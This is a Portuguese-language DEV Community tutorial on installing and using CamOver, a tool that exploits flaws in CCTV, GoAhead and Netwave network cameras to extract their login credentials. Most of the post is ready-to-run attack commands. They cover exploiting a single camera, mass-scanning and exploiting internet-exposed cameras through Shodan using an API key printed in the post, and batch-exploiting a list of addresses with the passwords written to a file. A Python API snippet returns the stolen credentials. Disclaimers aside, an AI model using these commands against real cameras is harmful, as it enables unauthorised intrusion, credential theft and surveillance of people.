DEV Community

Moprius
Moprius

Posted on

CamOver — ferramenta para exploração de vulnerabilidades em câmeras de rede

Hoje vamos falar sobre uma ferramenta interessante: CamOver, utilizada para explorar vulnerabilidades de câmeras de rede, obter suas senhas e realizar diversos tipos de ataques. Os ataques acontecem explorando vulnerabilidades de modelos populares de câmeras, como CCTV, GoAhead e Netwave. Abaixo, explicarei detalhadamente como instalar e usar o CamOver.


Hackeando câmeras de rede com CamOver

Este artigo é destinado exclusivamente para fins educacionais e para o aprendizado de hackers éticos. O acesso não autorizado a câmeras de rede é ilegal e considerado crime. Nem o site spy-soft.net, nem o autor são responsáveis pelas suas ações.

Funcionalidades do CamOver:

  • Exploração de vulnerabilidades em modelos populares de câmeras de rede (CCTV, GoAhead, Netwave).
  • Suporte a múltiplas câmeras simultaneamente, graças à funcionalidade de multithreading.
  • Interface amigável para uso por linha de comando ou API.

Instalação do CamOver

Para instalar a ferramenta, basta usar o seguinte comando:

pip3 install git+https://github.com/EntySec/CamOver
Enter fullscreen mode Exit fullscreen mode

Uso do CamOver

Após instalar, basta iniciar o CamOver com o comando:

camover
Enter fullscreen mode Exit fullscreen mode

Parâmetros disponíveis ao iniciar o CamOver:

-h, --help            Exibe a mensagem de ajuda e sai.  
-t, --threads         Usa multithreading para acelerar o processo.  
-o OUTPUT, --output OUTPUT  Salva os resultados em um arquivo.  
-i INPUT, --input INPUT  Arquivo com endereços das câmeras.  
-a ADDRESS, --address ADDRESS  Um único endereço de câmera.  
--shodan SHODAN       Chave de API do Shodan para explorar câmeras pela internet.  
--zoomeye ZOOMEYE     Chave de API do ZoomEye para explorar câmeras pela internet.  
-p PAGES, --pages PAGES  Número de páginas a ser buscado no ZoomEye.  
Enter fullscreen mode Exit fullscreen mode

Exemplo de uso:

Exploração de uma única câmera

Suponha que exista uma câmera com o endereço IP 192.168.99.100. Para verificar se ela pode ser explorada, execute o seguinte comando:

camover -a 192.168.99.100
Enter fullscreen mode Exit fullscreen mode

Exploração de câmeras pela internet

Para encontrar câmeras pela internet utilizando o Shodan, execute:

camover -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD
Enter fullscreen mode Exit fullscreen mode

A chave de API Shodan (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) é fornecida como exemplo. Você pode usar essa ou sua própria chave.


Exploração de câmeras a partir de um arquivo

Se você tem uma lista de endereços de câmeras em um arquivo chamado cameras.txt, pode tentar explorá-las e salvar as senhas obtidas em passwords.txt:

camover -t -i cameras.txt -o passwords.txt
Enter fullscreen mode Exit fullscreen mode

Uso de API

O CamOver também fornece uma API em Python para integrar a ferramenta em seu código. O exemplo abaixo mostra como criar um objeto CamOver, explorar uma câmera por IP e exibir as credenciais obtidas:

from camover import CamOver

camover = CamOver()
creds = camover.exploit('192.168.99.100')

print(creds)
Enter fullscreen mode Exit fullscreen mode

Explicação do código:

  1. from camover import CamOver: Importa a classe CamOver da biblioteca.
  2. camover = CamOver(): Cria um objeto CamOver para acessar seus métodos.
  3. creds = camover.exploit('192.168.99.100'): Usa o método exploit para tentar explorar uma câmera pelo endereço IP 192.168.99.100. Se for bem-sucedido, retorna as credenciais (login e senha) da câmera.
  4. print(creds): Exibe as credenciais obtidas.

Conclusão

O CamOver é uma ferramenta poderosa para explorar vulnerabilidades em câmeras de rede. Caso você se interesse por esse tema, ele pode ser um recurso valioso para aprendizado sobre segurança de redes e testes de penetração.


⚠️ Aviso legal: O uso de ferramentas como o CamOver para atividades não autorizadas é crime e pode acarretar sérias penalidades. Utilize essas informações apenas para fins legais e éticos.

Image of Datadog

The Future of AI, LLMs, and Observability on Google Cloud

Datadog sat down with Google’s Director of AI to discuss the current and future states of AI, ML, and LLMs on Google Cloud. Discover 7 key insights for technical leaders, covering everything from upskilling teams to observability best practices

Learn More

Top comments (0)

A Workflow Copilot. Tailored to You.

Pieces.app image

Our desktop app, with its intelligent copilot, streamlines coding by generating snippets, extracting code from screenshots, and accelerating problem-solving.

Read the docs

👋 Kindness is contagious

Please leave a ❤️ or a friendly comment on this post if you found it helpful!

Okay